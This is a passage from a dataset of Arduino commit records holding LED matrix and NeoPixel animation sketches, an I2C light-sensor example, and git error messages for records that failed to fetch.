\/\/Timer1 Overflow Interrupt Enable \n TIMSK1 |= (1<<TOIE1);\n TCNT1 = __TIMER1_MAX - __TIMER1_CNT;\n \/\/ enable all interrupts\n sei(); \n}\n\n#define DEVICES 4\n#define DEVICES_ARRAY_SIZES 4\n#define ROWS 8\n#define COLUMNS 8\n#define MAX_BRIGTHNESS_VALUES 3 \/* <-- RGB *\/ * (COLUMNS * ROWS) * DEVICES\n\/*\n * 0..63 Red\n * 64..127 Green\n * 128..191 Blue\n *\/\nvolatile byte brightness[MAX_BRIGTHNESS_VALUES];\nvolatile byte *ptrBrightness = brightness;\nvolatile byte brightnessBuffered[MAX_BRIGTHNESS_VALUES];\nvolatile byte *ptrBrightnessBuffered = brightnessBuffered;\nvolatile byte *ptrBrightnessUSING = ptrBrightness;\n#define NUM_CR 64 \/* (COLUMNS*ROWS) *\/\nstatic int devoffsets[DEVICES_ARRAY_SIZES] = { 3*192, 2*192, 1*192, 0 };\n#define BRIGHTNESS_RED2(DEVOFFSET, OFFSET, ROW) (*(ptrBrightnessUSING + ( OFFSET + ROW) + DEVOFFSET))\n#define BRIGHTNESS_GREEN2(DEVOFFSET, OFFSET, ROW) (*(ptrBrightnessUSING + ((OFFSET + ROW) + NUM_CR) + DEVOFFSET))\n#define BRIGHTNESS_BLUE2(DEVOFFSET, OFFSET, ROW) (*(ptrBrightnessUSING + ((OFFSET + ROW) + NUM_CR + NUM_CR) + DEVOFFSET))\n\nbyte isr_red [DEVICES_ARRAY_SIZES] = { 0, 0, 0, 0 }; \/\/ current sinker when on (0)\nbyte isr_green[DEVICES_ARRAY_SIZES] = { 0, 0, 0, 0 }; \/\/ current sinker when on (0)\nbyte isr_blue [DEVICES_ARRAY_SIZES] = { 0, 0, 0, 0 }; \/\/ current sinker when on (0)\n\nvolatile bool DoRefresh = false;\n\nISR(TIMER1_OVF_vect) \n{\n TCNT1 = __TIMER1_MAX - __TIMER1_CNT;\n\n \/\/DISPLAY_ON;\n\n for(byte isr_cycle = 0; isr_cycle < MAX_BRIGHTNESS+1; ++isr_cycle) \n {\n for(byte isr_row = 0; isr_row < ROWS; ++isr_row) \n {\n SPI_START;\n for(byte isr_dev=0; isr_dev < DEVICES; ++isr_dev)\n { \n isr_red[isr_dev] = 0x00;\n isr_green[isr_dev] = 0x00; \n isr_blue[isr_dev] = 0x00;\n \n for(byte isr_col = 0, cc=0; isr_col < NUM_CR; isr_col += COLUMNS, ++cc) \n {\n if(isr_cycle < BRIGHTNESS_RED2(devoffsets[isr_dev], isr_col, isr_row)) { isr_red[isr_dev] |= (1 << cc); }\n if(isr_cycle < BRIGHTNESS_GREEN2(devoffsets[isr_dev], isr_col, isr_row)) { isr_green[isr_dev] |= (1 << cc); }\n if(isr_cycle < BRIGHTNESS_BLUE2(devoffsets[isr_dev], isr_col, isr_row)) { isr_blue[isr_dev] |= (1 << cc); } \n }\n\n SPI_SEND(isr_blue[isr_dev]);\n SPI_SEND(isr_green[isr_dev]);\n SPI_SEND(isr_red[isr_dev]);\n SPI_SEND(B00000001 << isr_row);\n } \n SPI_STOP;\n }\n }\n\n \/\/DISPLAY_OFF;\n}\n\nvoid setup(void) \n{\n pinMode(SPI_CLOCK, OUTPUT);\n pinMode(SPI_LATCH, OUTPUT);\n pinMode(SPI_DATA, OUTPUT);\n\n digitalWrite(SPI_CLOCK, LOW);\n digitalWrite(SPI_LATCH, LOW);\n digitalWrite(SPI_DATA, LOW);\n\n pinMode(DISPLAY_PIN, OUTPUT);\n \n randomSeed(analogRead(0));\n \n setup_hardware_spi();\n memset((void*)brightness, 0, sizeof(brightness)); \n initGrid();\n setup_timer1_ovf();\n}\n\nvoid runaround()\n{ \n static byte n = 250;\n static byte r = 0;\n static byte g = MAX_BRIGHTNESS;\n static byte b = 0;\n \n r = random(MAX_BRIGHTNESS);\n g = random(MAX_BRIGHTNESS);\n b = random(MAX_BRIGHTNESS);\n \n for(byte y=0; y < HEIGHT; ++y)\n {\n for(byte x=0; x < WIDTH; ++x)\n {\n memset((void*)brightness, 0, sizeof(brightness)); \n set_led_rgb(x, y, r, g, b);\n delay(n);\n }\n \n ++y;\n \n for(int x=WIDTH-1; x != -1; --x)\n {\n memset((void*)brightness, 0, sizeof(brightness));\n set_led_rgb(x, y, r, g, b);\n delay(n);\n }\n }\n \n for(byte y=HEIGHT-2; y != 0; --y)\n {\n memset((void*)brightness, 0, sizeof(brightness));\n set_led_rgb(0, y, r, g, b);\n delay(n);\n }\n \n r = random(MAX_BRIGHTNESS);\n g = random(MAX_BRIGHTNESS);\n b = random(MAX_BRIGHTNESS);\n}\n\nvoid random_leds(void) {\n set_led_hue(\n (byte)(random(WIDTH))\n , (byte)(random(HEIGHT))\n , (int)(random(360))\n );\n}\n\nvoid set_row_hue(byte row, int hue) {\n for(byte ctr1 = 0; ctr1 < WIDTH; ++ctr1) {\n set_led_hue(ctr1, row, hue);\n }\n}\n\nvoid set_column_hue(byte column, int hue) {\n for(byte ctr1 = 0; ctr1 < HEIGHT; ++ctr1) {\n set_led_hue( column, ctr1, hue);\n }\n}\n\nvoid rainbow(void) {\n for(byte column = 0; column < WIDTH; ++column) {\n set_column_hue( column, column*18);\n } \n}\n\nvoid color_wave(uint8_t width) {\n static uint16_t shift = 0;\n for(byte column = 0; column < WIDTH; ++column) {\n set_column_hue(column, column * width + shift); \n }\n shift++;\n}\n\ninline void copyBuffer()\n{\n ptrBrightnessUSING = ptrBrightnessBuffered;\n for(int i=0; i < MAX_BRIGTHNESS_VALUES; ++i) {\n \/\/\n \/\/ Results in flickering!\n \/\/ Why?\n \/\/\n \/\/brightness[i] = brightnessBuffered[i];\n }\n ptrBrightnessUSING = ptrBrightness;\n}\n\nvoid loop(void) \n{\n \/\/for(unsigned int i=0; i < 1000000; ++i) { random_leds(); \/*copyBuffer();*\/ delay(5); }\n \/\/for(;;) { color_wave(18); copyBuffer(); delay(75); }\n \/\/for(;;) { rainbow(); delay(100); }\n \/\/runaround(); \n \n runGrid();\n}\n\ninline void set_led_red(byte x, byte y, byte red) { *(ptrBrightness + RED(x, y)) = red; }\ninline void set_led_green(byte x, byte y, byte green) { *(ptrBrightness + GREEN(x, y)) = green; }\ninline void set_led_blue(byte x, byte y, byte blue) { *(ptrBrightness + BLUE(x, y)) = blue; }\n\ninline void set_led_rgb(byte x, byte y, byte red, byte green, byte blue) \n{\n set_led_red(x, y, red);\n set_led_green(x, y, green);\n set_led_blue(x, y, blue);\n}\n\nvoid set_led_hue(byte x, byte y, int hue) \n{\n \/\/ see wikipeda: HSV\n float S=100.0,V=100.0,s=S\/100.0,v=V\/100.0,h_i,f,p,q,t,R,G,B;\n \n hue = hue%360;\n h_i = hue\/60; \n f = (float)(hue)\/60.0 - h_i;\n p = v*(1-s);\n q = v*(1-s*f);\n t = v*(1-s*(1-f));\n \n if ( h_i == 0 ) { R = v; G = t; B = p; }\n else if ( h_i == 1 ) { R = q; G = v; B = p; }\n else if ( h_i == 2 ) { R = p; G = v; B = t; }\n else if ( h_i == 3 ) { R = p; G = q; B = v; }\n else if ( h_i == 4 ) { R = t; G = p; B = v; }\n else { R = v; G = p; B = q; }\n\n set_led_rgb(x, y, byte(R*(float)(MAX_BRIGHTNESS)), byte(G*(float)(MAX_BRIGHTNESS)), byte(B*(float)(MAX_BRIGHTNESS))); \n}\n\n\/\/ +++++++++++++++\n\nvoid initGrid() { } \nvoid runGrid(){\n\tset_led_rgb(0, 0, 13, 9, 7);\tset_led_rgb(1, 0, 13, 5, 0);\tset_led_rgb(2, 0, 8, 3, 0);\tset_led_rgb(3, 0, 5, 2, 1);\tset_led_rgb(4, 0, 5, 4, 4);\tset_led_rgb(5, 0, 7, 3, 0);\tset_led_rgb(6, 0, 10, 4, 0);\tset_led_rgb(7, 0, 13, 5, 0);\tset_led_rgb(8, 0, 13, 5, 0);\tset_led_rgb(9, 0, 13, 5, 0);\tset_led_rgb(10, 0, 13, 5, 0);\tset_led_rgb(11, 0, 13, 5, 0);\tset_led_rgb(12, 0, 11, 4, 0);\tset_led_rgb(13, 0, 8, 3, 0);\tset_led_rgb(14, 0, 5, 4, 4);\tset_led_rgb(15, 0, 5, 3, 1);\tset_led_rgb(16, 0, 7, 2, 0);\tset_led_rgb(17, 0, 13, 5, 0);\tset_led_rgb(18, 0, 13, 8, 5);\tset_led_rgb(19, 0, 14, 11, 10);\n\tset_led_rgb(0, 1, 13, 5, 0);\tset_led_rgb(1, 1, 13, 5, 0);\tset_led_rgb(2, 1, 13, 5, 0);\tset_led_rgb(3, 1, 13, 6, 2);\tset_led_rgb(4, 1, 13, 12, 10);\tset_led_rgb(5, 1, 2, 2, 2);\tset_led_rgb(6, 1, 5, 2, 0);\tset_led_rgb(7, 1, 13, 5, 0);\tset_led_rgb(8, 1, 13, 5, 0);\tset_led_rgb(9, 1, 13, 5, 0);\tset_led_rgb(10, 1, 13, 5, 0);\tset_led_rgb(11, 1, 13, 5, 0);\tset_led_rgb(12, 1, 7, 3, 0);\tset_led_rgb(13, 1, 0, 0, 0);\tset_led_rgb(14, 1, 13, 12, 9);\tset_led_rgb(15, 1, 13, 8, 4);\tset_led_rgb(16, 1, 13, 5, 0);\tset_led_rgb(17, 1, 13, 5, 0);\tset_led_rgb(18, 1, 13, 5, 0);\tset_led_rgb(19, 1, 13, 6, 1);\n\tset_led_rgb(0, 2, 13, 5, 0);\tset_led_rgb(1, 2, 13, 5, 0);\tset_led_rgb(2, 2, 13, 5, 0);\tset_led_rgb(3, 2, 13, 6, 2);\tset_led_rgb(4, 2, 13, 12, 10);\tset_led_rgb(5, 2, 2, 2, 2);\tset_led_rgb(6, 2, 0, 0, 0);\tset_led_rgb(7, 2, 0, 0, 0);\tset_led_rgb(8, 2, 0, 0, 0);\tset_led_rgb(9, 2, 0, 0, 0);\tset_led_rgb(10, 2, 0, 0, 0);\tset_led_rgb(11, 2, 0, 0, 0);\tset_led_rgb(12, 2, 0, 0, 0);\tset_led_rgb(13, 2, 0, 0, 0);\tset_led_rgb(14, 2, 13, 12, 9);\tset_led_rgb(15, 2, 13, 8, 4);\tset_led_rgb(16, 2, 13, 5, 0);\tset_led_rgb(17, 2, 13, 5, 0);\tset_led_rgb(18, 2, 13, 5, 0);\tset_led_rgb(19, 2, 13, 6, 2);\n\tset_led_rgb(0, 3, 13, 5, 0);\tset_led_rgb(1, 3, 13, 5, 0);\tset_led_rgb(2, 3, 13, 5, 0);\tset_led_rgb(3, 3, 13, 6, 2);\tset_led_rgb(4, 3, 13, 12, 10);\tset_led_rgb(5, 3, 2, 2, 2);\tset_led_rgb(6, 3, 2, 1, 1);\tset_led_rgb(7, 3, 5, 4, 4);\tset_led_rgb(8, 3, 7, 3, 0);\tset_led_rgb(9, 3, 8, 3, 0);\tset_led_rgb(10, 3, 8, 3, 0);\tset_led_rgb(11, 3, 5, 4, 4);\tset_led_rgb(12, 3, 3, 2, 2);\tset_led_rgb(13, 3, 0, 0, 0);\tset_led_rgb(14, 3, 13, 12, 9);\tset_led_rgb(15, 3, 13, 8, 4);\tset_led_rgb(16, 3, 13, 5, 0);\tset_led_rgb(17, 3, 13, 5, 0);\tset_led_rgb(18, 3, 13, 5, 0);\tset_led_rgb(19, 3, 13, 5, 0);\n\tset_led_rgb(0, 4, 13, 5, 0);\tset_led_rgb(1, 4, 13, 5, 0);\tset_led_rgb(2, 4, 13, 5, 0);\tset_led_rgb(3, 4, 13, 6, 2);\tset_led_rgb(4, 4, 13, 12, 10);\tset_led_rgb(5, 4, 2, 2, 2);\tset_led_rgb(6, 4, 5, 4, 4);\tset_led_rgb(7, 4, 13, 12, 10);\tset_led_rgb(8, 4, 13, 5, 0);\tset_led_rgb(9, 4, 13, 5, 0);\tset_led_rgb(10, 4, 13, 5, 0);\tset_led_rgb(11, 4, 13, 12, 10);\tset_led_rgb(12, 4, 8, 7, 6);\tset_led_rgb(13, 4, 0, 0, 0);\tset_led_rgb(14, 4, 13, 12, 9);\tset_led_rgb(15, 4, 13, 8, 4);\tset_led_rgb(16, 4, 13, 5, 0);\tset_led_rgb(17, 4, 13, 5, 0);\tset_led_rgb(18, 4, 13, 5, 0);\tset_led_rgb(19, 4, 13, 5, 0);\n\tset_led_rgb(0, 5, 13, 5, 0);\tset_led_rgb(1, 5, 13, 5, 0);\tset_led_rgb(2, 5, 13, 5, 0);\tset_led_rgb(3, 5, 13, 6, 2);\tset_led_rgb(4, 5, 13, 12, 10);\tset_led_rgb(5, 5, 13, 12, 10);\tset_led_rgb(6, 5, 13, 12, 10);\tset_led_rgb(7, 5, 13, 11, 10);\tset_led_rgb(8, 5, 13, 5, 0);\tset_led_rgb(9, 5, 13, 5, 0);\tset_led_rgb(10, 5, 13, 5, 0);\tset_led_rgb(11, 5, 13, 12, 10);\tset_led_rgb(12, 5, 13, 12, 10);\tset_led_rgb(13, 5, 13, 12, 10);\tset_led_rgb(14, 5, 13, 12, 9);\tset_led_rgb(15, 5, 13, 8, 4);\tset_led_rgb(16, 5, 13, 5, 0);\tset_led_rgb(17, 5, 13, 5, 0);\tset_led_rgb(18, 5, 13, 5, 0);\tset_led_rgb(19, 5, 13, 5, 0);\n\tset_led_rgb(0, 6, 13, 5, 0);\tset_led_rgb(1, 6, 13, 5, 0);\tset_led_rgb(2, 6, 13, 5, 0);\tset_led_rgb(3, 6, 13, 5, 1);\tset_led_rgb(4, 6, 13, 8, 4);\tset_led_rgb(5, 6, 13, 8, 4);\tset_led_rgb(6, 6, 13, 8, 4);\tset_led_rgb(7, 6, 13, 8, 4);\tset_led_rgb(8, 6, 13, 5, 0);\tset_led_rgb(9, 6, 13, 5, 0);\tset_led_rgb(10, 6, 13, 5, 0);\tset_led_rgb(11, 6, 13, 8, 4);\tset_led_rgb(12, 6, 13, 8, 4);\tset_led_rgb(13, 6, 13, 8, 4);\tset_led_rgb(14, 6, 13, 8, 4);\tset_led_rgb(15, 6, 13, 6, 2);\tset_led_rgb(16, 6, 13, 5, 0);\tset_led_rgb(17, 6, 13, 5, 0);\tset_led_rgb(18, 6, 13, 5, 0);\tset_led_rgb(19, 6, 13, 5, 0);\n\tset_led_rgb(0, 7, 13, 5, 0);\tset_led_rgb(1, 7, 13, 5, 0);\tset_led_rgb(2, 7, 13, 5, 0);\tset_led_rgb(3, 7, 13, 5, 0);\tset_led_rgb(4, 7, 13, 5, 0);\tset_led_rgb(5, 7, 13, 5, 0);\tset_led_rgb(6, 7, 13, 5, 0);\tset_led_rgb(7, 7, 13, 5, 0);\tset_led_rgb(8, 7, 13, 5, 0);\tset_led_rgb(9, 7, 13, 5, 0);\tset_led_rgb(10, 7, 13, 5, 0);\tset_led_rgb(11, 7, 13, 5, 0);\tset_led_rgb(12, 7, 13, 5, 0);\tset_led_rgb(13, 7, 13, 5, 0);\tset_led_rgb(14, 7, 13, 5, 0);\tset_led_rgb(15, 7, 13, 5, 0);\tset_led_rgb(16, 7, 13, 5, 0);\tset_led_rgb(17, 7, 13, 5, 0);\tset_led_rgb(18, 7, 13, 5, 0);\tset_led_rgb(19, 7, 13, 5, 0);\n\tset_led_rgb(0, 8, 13, 5, 0);\tset_led_rgb(1, 8, 13, 5, 0);\tset_led_rgb(2, 8, 13, 5, 0);\tset_led_rgb(3, 8, 13, 5, 0);\tset_led_rgb(4, 8, 13, 5, 0);\tset_led_rgb(5, 8, 13, 9, 6);\tset_led_rgb(6, 8, 13, 12, 10);\tset_led_rgb(7, 8, 13, 12, 10);\tset_led_rgb(8, 8, 13, 12, 10);\tset_led_rgb(9, 8, 13, 12, 10);\tset_led_rgb(10, 8, 13, 12, 10);\tset_led_rgb(11, 8, 13, 12, 10);\tset_led_rgb(12, 8, 13, 12, 10);\tset_led_rgb(13, 8, 13, 10, 8);\tset_led_rgb(14, 8, 13, 5, 0);\tset_led_rgb(15, 8, 13, 5, 0);\tset_led_rgb(16, 8, 13, 5, 0);\tset_led_rgb(17, 8, 13, 5, 0);\tset_led_rgb(18, 8, 13, 5, 0);\tset_led_rgb(19, 8, 13, 6, 2);\n\tset_led_rgb(0, 9, 14, 11, 8);\tset_led_rgb(1, 9, 14, 11, 9);\tset_led_rgb(2, 9, 14, 11, 9);\tset_led_rgb(3, 9, 13, 10, 7);\tset_led_rgb(4, 9, 13, 9, 6);\tset_led_rgb(5, 9, 13, 11, 8);\tset_led_rgb(6, 9, 13, 12, 10);\tset_led_rgb(7, 9, 13, 12, 10);\tset_led_rgb(8, 9, 13, 12, 10);\tset_led_rgb(9, 9, 13, 12, 10);\tset_led_rgb(10, 9, 13, 12, 10);\tset_led_rgb(11, 9, 13, 12, 10);\tset_led_rgb(12, 9, 13, 12, 10);\tset_led_rgb(13, 9, 13, 11, 9);\tset_led_rgb(14, 9, 13, 9, 6);\tset_led_rgb(15, 9, 14, 10, 7);\tset_led_rgb(16, 9, 14, 11, 9);\tset_led_rgb(17, 9, 14, 11, 9);\tset_led_rgb(18, 9, 14, 11, 9);\tset_led_rgb(19, 9, 14, 11, 9);\n\tdelay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5a874fa90b0f98b8c27be02b6380d21433f240f8","subject":"perhaps it just did not move because it accelerated too slow \u2026","message":"perhaps it just did not move because it accelerated too slow \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"174b0dda824b7ac4e75ef14c73ac7750de8791ca","subject":"ok, we theoretically know how to configure the tmc260","message":"ok, we theoretically know how to configure the tmc260\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"eb53eab270f5f3d7ff4bf2fa450bc94230661ed5","subject":"Create TX Test.ino","message":"Create TX Test.ino","repos":"swolfe0105\/LazIRTag","old_file":"UART\/TX Test.ino","new_file":"UART\/TX Test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'UART\/TX' did not match any file(s) known to git\nerror: pathspec 'Test.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"06bd1ff130ad5fab5c0248cb132ae26450e7621e","subject":"Added scrolling wave demo","message":"Added scrolling wave demo\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/ScrollingWave\/ScrollingWave.ino","new_file":"examples\/PICadillo-35T\/ScrollingWave\/ScrollingWave.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"d8d67cba7cd3b0cf0619cb7d118b771064ac94a1","subject":"Putting the Light module up in the main source.","message":"Putting the Light module up in the main source.\n","repos":"akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon","old_file":"src\/Light\/Light.ino","new_file":"src\/Light\/Light.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <Streaming.h>\n#include <Metro.h>\n\n\/\/ RIM of LEDs\n#define RIM_PIN 6 \/\/ wire to rim DI pin. Include a 330 Ohm resistor in series.\n#define RIM_N 85 \/\/ best if divisible by 4\n#define RIM_DECAY_RATE -1 \/\/ reduce intensity at each update\n#define RIM_UPDATE 1000UL \/\/ update the automata on the rim at this interval\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel rim = Adafruit_NeoPixel(RIM_N, RIM_PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ define some colors.\nconst uint32_t Red = rim.Color(255, 0, 0);\nconst uint32_t Grn = rim.Color(0, 255, 0);\nconst uint32_t Blu = rim.Color(0, 0, 255);\nconst uint32_t Yel = rim.Color(128, 128, 0);\nconst uint32_t Dead = rim.Color(0, 0, 0);\n\n\/\/ each button press controls a segment of the rim\nuint16_t segLength = floor(RIM_N\/4);\n \n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nvoid setup() {\n Serial.begin(115200);\n\n randomSeed(analogRead(0));\n\n rim.begin();\n rim.show(); \/\/ Initialize all pixels to 'off'\n test(rim); \/\/ run through some tests\n}\n\nvoid loop() {\n const uint16_t rimSegLength = floor((float)RIM_N \/ 4);\n\n \/\/ simulate button presses. replace this with Button library to 4x GPIO pins.\n static Metro buttonUpdate(10000UL);\n if ( buttonUpdate.check() ) {\n uint8_t button = random(0,4); \/\/ pick a button\n switch(button) {\n case 0: buttonPressToRim(Red, 0, rimSegLength); break;\n case 2: buttonPressToRim(Blu, segLength, rimSegLength); break;\n case 3: buttonPressToRim(Yel, segLength*2, rimSegLength); break;\n case 1: buttonPressToRim(Grn, segLength*3, rimSegLength); break;\n }\n rim.show();\n buttonUpdate.reset();\n }\n\n \/\/ update the rim\n static Metro rimUpdate(RIM_UPDATE);\n if ( rimUpdate.check() ) {\n updateRule90(rim, RIM_DECAY_RATE);\n rim.show();\n rimUpdate.reset();\n }\n\n}\n\nvoid buttonPressToRim(const uint32_t color, uint16_t segStart, uint16_t segLength) {\n \/\/ put down the color every other pixel\n for( uint16_t i=segStart; i<(segStart+segLength-1); i+2 ) {\n rim.setPixelColor(i, color);\n }\n \/\/ interlace Dead\n for( uint16_t i=segStart+1; i<(segStart+segLength-1); i+2 ) {\n rim.setPixelColor(i, Dead);\n }\n}\n\n\/\/ adjust color with a decrement\nuint32_t adjustColor(uint32_t c, uint8_t adj) {\n uint8_t red = constrain(((c << 8 ) >> 24) + adj, 0, 255);\n uint8_t grn = constrain(((c << 16) >> 24) + adj, 0, 255);\n uint8_t blu = constrain(((c << 24) >> 24) + adj, 0, 255);\n \n return( rim.Color(red, grn, blu) );\n}\n\n\/\/ merge colors with some kind of XOR\nuint32_t mergeColor(uint32_t c1, uint32_t c2) {\n \/\/ use bitwise operations to get at packed color vector contents\n const uint8_t bitIndex[3] = {8, 16, 24};\n \/\/ store the color vector result\n uint8_t cv[3];\n \n \/\/ for each color\n for( uint8_t i=0; i<3; i++ ) {\n \/\/ extract the color elements.\n uint8_t chanc1 = (c1 << bitIndex[i] ) >> 24;\n uint8_t chanc2 = (c2 << bitIndex[i] ) >> 24;\n\n \/\/ xor by color channel\n if( chanc1>0 && chanc2>0 ) {\n \/\/ alive in both cells, so drop this channel.\n cv[i]=0;\n } else {\n \/\/ dead in one, so sum them.\n cv[i]=chanc1 + chanc2;\n }\n }\n return( rim.Color(cv[0], cv[1], cv[2]) );\n}\n\n\/\/ updates the automata using a modified Rule 90\nvoid updateRule90(Adafruit_NeoPixel &strip, uint8_t decay) {\n \/\/ intialize first cell\n uint32_t cs = strip.getPixelColor(0);\n uint32_t ps = strip.getPixelColor(strip.numPixels() - 1);\n uint32_t ns;\n \n \/\/ loop to update\n for (uint16_t i = 0; i < strip.numPixels(); i++) {\n \/\/ get next state\n if (i < strip.numPixels() - 1) {\n ns = strip.getPixelColor(i + 1);\n }\n else { \/\/ wrapping back around\n ns = strip.getPixelColor(0);\n }\n \n \/\/ apply Rule 90\n if( ps == Dead ) {\n cs = adjustColor(ns, decay);\n } else if( ns == Dead ) {\n cs = adjustColor(ps, decay);\n } else {\n cs = mergeColor(ps, ns);\n }\n \n \/\/ set the pixel\n strip.setPixelColor(i, cs);\n \n \/\/ next iteration setting\n ps = cs;\n cs = ns;\n }\n}\n\nvoid test(Adafruit_NeoPixel &strip) {\n \/\/ Some example procedures showing how to display to the pixels:\n colorWipe(strip, strip.Color(255, 0, 0), 50); \/\/ Red\n colorWipe(strip, strip.Color(0, 255, 0), 50); \/\/ Green\n colorWipe(strip, strip.Color(0, 0, 255), 50); \/\/ Blue\n\n \/\/ Send a theater pixel chase in...\n theaterChase(strip, strip.Color(127, 127, 127), 50); \/\/ White\n theaterChase(strip, strip.Color(127, 0, 0), 50); \/\/ Red\n theaterChase(strip, strip.Color( 0, 0, 127), 50); \/\/ Blue\n\n rainbow(strip, 20);\n rainbowCycle(strip, 20);\n theaterChaseRainbow(strip, 50);\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(Adafruit_NeoPixel &strip, uint32_t c, uint8_t wait) {\n for (uint16_t i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbow(Adafruit_NeoPixel &strip, uint8_t wait) {\n uint16_t i, j;\n\n for (j = 0; j < 256; j++) {\n for (i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(strip, (i + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(Adafruit_NeoPixel &strip, uint8_t wait) {\n uint16_t i, j;\n\n for (j = 0; j < 256 * 5; j++) { \/\/ 5 cycles of all colors on wheel\n for (i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(strip, ((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/Theatre-style crawling lights.\nvoid theaterChase(Adafruit_NeoPixel &strip, uint32_t c, uint8_t wait) {\n for (int j = 0; j < 10; j++) { \/\/do 10 cycles of chasing\n for (int q = 0; q < 3; q++) {\n for (int i = 0; i < strip.numPixels(); i = i + 3) {\n strip.setPixelColor(i + q, c); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (int i = 0; i < strip.numPixels(); i = i + 3) {\n strip.setPixelColor(i + q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/Theatre-style crawling lights with rainbow effect\nvoid theaterChaseRainbow(Adafruit_NeoPixel &strip, uint8_t wait) {\n for (int j = 0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q = 0; q < 3; q++) {\n for (int i = 0; i < strip.numPixels(); i = i + 3) {\n strip.setPixelColor(i + q, Wheel(strip, (i + j) % 255)); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (int i = 0; i < strip.numPixels(); i = i + 3) {\n strip.setPixelColor(i + q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(Adafruit_NeoPixel &strip, byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if (WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else if (WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Light\/Light.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a3e5e46a602909cdbbb7e84d084db183fd6e19cc","subject":"added an example project for sample usage with the OPT3001 als sensor.","message":"added an example project for sample usage with the OPT3001 als sensor.\n","repos":"RaemondBW\/SWire","old_file":"examples\/OPT3001_w_SWire\/OPT3001_w_SWire.ino","new_file":"examples\/OPT3001_w_SWire\/OPT3001_w_SWire.ino","new_contents":"\/\/Example to show SWire usage with the OPT3001 ALS\n#include <SWire.h>\n\nvoid setup() {\n Serial.begin(115200);\n \/\/Setup my sensor\n SWire.begin(4, 5); \/\/ Use Pin 4 for SDA & Pin 5 for SCL\n SWire.beginTransmission(0x45);\n SWire.write(0x01);\n SWire.write(0xC6);\n SWire.write(0x10);\n Serial.println(SWire.endTransmission());\n}\n\nvoid loop() {\n \/\/Read Sensor results\n uint16_t result = 0;\n SWire.beginTransmission(0x45);\n SWire.write(0x00);\n int error = SWire.endTransmission(false);\n if (error == 0) {\n SWire.requestFrom(0x45, 2);\n Serial.println(SWire.available());\n result = 